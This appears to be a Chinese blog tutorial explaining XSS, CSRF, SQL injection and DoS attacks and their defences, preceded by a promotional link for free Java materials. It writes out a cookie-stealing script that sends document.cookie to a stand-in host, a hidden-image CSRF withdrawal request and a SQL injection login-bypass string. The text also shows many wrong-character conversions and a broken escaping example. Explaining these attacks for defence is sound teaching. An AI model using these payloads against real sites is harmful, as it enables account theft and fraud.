網站被黑客各類攻擊，咱們該用什麼防範手段

本人免費整理了Java高級資料，涵蓋了Java、Redis、MongoDB、MySQL、Zookeeper、Spring Cloud、Dubbo高併發分佈式等教程，一共30G，須要本身領取。
傳送門：https://mp.weixin.qq.com/s/JzddfH-7yNudmkjT0IRL8Q

• 1、跨站腳本攻擊
• 2、跨站請求僞造
• 3、SQL 注入攻擊
• 4、拒絕服務攻擊

1、跨站腳本攻擊

概念

跨站腳本攻擊（Cross-Site Scripting, XSS），能夠將代碼注入到用戶瀏覽的網頁上，這種代碼包括 HTML 和 JavaScript。

攻擊原理

例若有一個論壇網站，攻擊者能夠在上面發佈如下內容：

<script>location.href="//domain.com/?c=" + document.cookie</script>

 

以後該內容可能會被渲染成如下形式：

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

 

另外一個用戶瀏覽了含有這個內容的頁面將會跳轉到 http://domain.com 並攜帶了當前做用域的 Cookie。若是這個論壇網站經過 Cookie 管理用戶登陸狀態，那麼攻擊者就能夠經過這個 Cookie 登陸被攻擊者的帳號了。

危害

• 竊取用戶的 Cookie
• 僞造虛假的輸入表單騙取我的信息
• 顯示僞造的文章或者圖片

防範手段

1. 設置 Cookie 爲 HttpOnly

設置了 HttpOnly 的 Cookie 能夠防止 JavaScript 腳本調用，就沒法經過 document.cookie 獲取用戶 Cookie 信息。

2. 過濾特殊字符

例如將 < 轉義爲 <，將 > 轉義爲 >，從而避免 HTML 和 Jascript 代碼的運行。

富文本編輯器容許用戶輸入 HTML 代碼，就不能簡單地將 < 等字符進行過濾了，極大地提升了 XSS 攻擊的可能性。

富文本編輯器一般採用 XSS filter 來防範 XSS 攻擊，經過定義一些標籤白名單或者黑名單，從而不容許有攻擊性的 HTML 代碼的輸入。

如下例子中，form 和 script 等標籤都被轉義，而 h 和 p 等標籤將會保留。

<h1 id="title">XSS Demo</h1>

<p>123</p>

<form>
  <input type="text" name="q" value="test">
</form>

<pre>hello</pre>

<script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1>

<p>123</p>

&lt;form&gt;
  &lt;input type="text" name="q" value="test"&gt;
&lt;/form&gt;

<pre>hello</pre>

&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;

 

XSS 過濾在線測試

2、跨站請求僞造

概念

跨站請求僞造（Cross-site request forgery，CSRF），是攻擊者經過一些技術手段欺騙用戶的瀏覽器去訪問一個本身曾經認證過的網站並執行一些操做（如發郵件，發消息，甚至財產操做如轉帳和購買商品）。因爲瀏覽器曾經認證過，因此被訪問的網站會認爲是真正的用戶操做而去執行。

XSS 利用的是用戶對指定網站的信任，CSRF 利用的是網站對用戶瀏覽器的信任。

攻擊原理

假如一家銀行用以執行轉帳操做的 URL 地址以下：

http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。

 

那麼，一個惡意攻擊者能夠在另外一個網站上放置以下代碼：

<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。

 

若是有帳戶名爲 Alice 的用戶訪問了惡意站點，而她以前剛訪問過銀行不久，登陸信息還沒有過時，那麼她就會損失 1000 美圓。

這種惡意的網址能夠有不少種形式，藏身於網頁中的許多地方。此外，攻擊者也不須要控制放置惡意網址的網站。例如他能夠將這種地址藏在論壇，博客等任何用戶生成內容的網站中。這意味着若是服務器端沒有合適的防護措施的話，用戶即便訪問熟悉的可信網站也有受攻擊的危險。

經過例子可以看出，攻擊者並不能經過 CSRF 攻擊來直接獲取用戶的帳戶控制權，也不能直接竊取用戶的任何信息。他們能作到的，是欺騙用戶瀏覽器，讓其以用戶的名義執行操做。

防範手段

1. 檢查 Referer 首部字段

Referer 首部字段位於 HTTP 報文中，用於標識請求來源的地址。檢查這個首部字段並要求請求來源的地址在同一個域名下，能夠極大的防止 CSRF 攻擊。

這種辦法簡單易行，工做量低，僅須要在關鍵訪問處增長一步校驗。但這種辦法也有其侷限性，因其徹底依賴瀏覽器發送正確的 Referer 字段。雖然 HTTP 協議對此字段的內容有明確的規定，但並沒有法保證來訪的瀏覽器的具體實現，亦沒法保證瀏覽器沒有安全漏洞影響到此字段。而且也存在攻擊者攻擊某些瀏覽器，篡改其 Referer 字段的可能。

2. 添加校驗 Token

在訪問敏感數據請求時，要求用戶瀏覽器提供不保存在 Cookie 中，而且攻擊者沒法僞造的數據做爲校驗。例如服務器生成隨機數並附加在表單中，並要求客戶端傳回這個隨機數。

3. 輸入驗證碼

由於 CSRF 攻擊是在用戶無心識的狀況下發生的，因此要求用戶輸入驗證碼可讓用戶知道本身正在作的操做。

3、SQL 注入攻擊

概念

服務器上的數據庫運行非法的 SQL 語句，主要經過拼接來完成。

攻擊原理

例如一個網站登陸驗證的 SQL 查詢代碼爲：

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

 

若是填入如下內容：

userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";

 

那麼 SQL 查詢字符串爲：

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

 

此時無需驗證經過就能執行如下查詢：

strSQL = "SELECT * FROM users;"

 

防範手段

1. 使用參數化查詢

Java 中的 PreparedStatement 是預先編譯的 SQL 語句，能夠傳入適當參數而且屢次執行。因爲沒有拼接的過程，所以能夠防止 SQL 注入的發生。

PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

 

2. 單引號轉換

將傳入的參數中的單引號轉換爲連續兩個單引號，PHP 中的 Magic quote 能夠完成這個功能。

4、拒絕服務攻擊

拒絕服務攻擊（denial-of-service attack，DoS），亦稱洪水攻擊，其目的在於使目標電腦的網絡或系統資源耗盡，使服務暫時中斷或中止，致使其正經常使用戶沒法訪問。

分佈式拒絕服務攻擊（distributed denial-of-service attack，DDoS），指攻擊者使用兩個或以上被攻陷的電腦做爲「殭屍」向特定的目標發動「拒絕服務」式攻擊。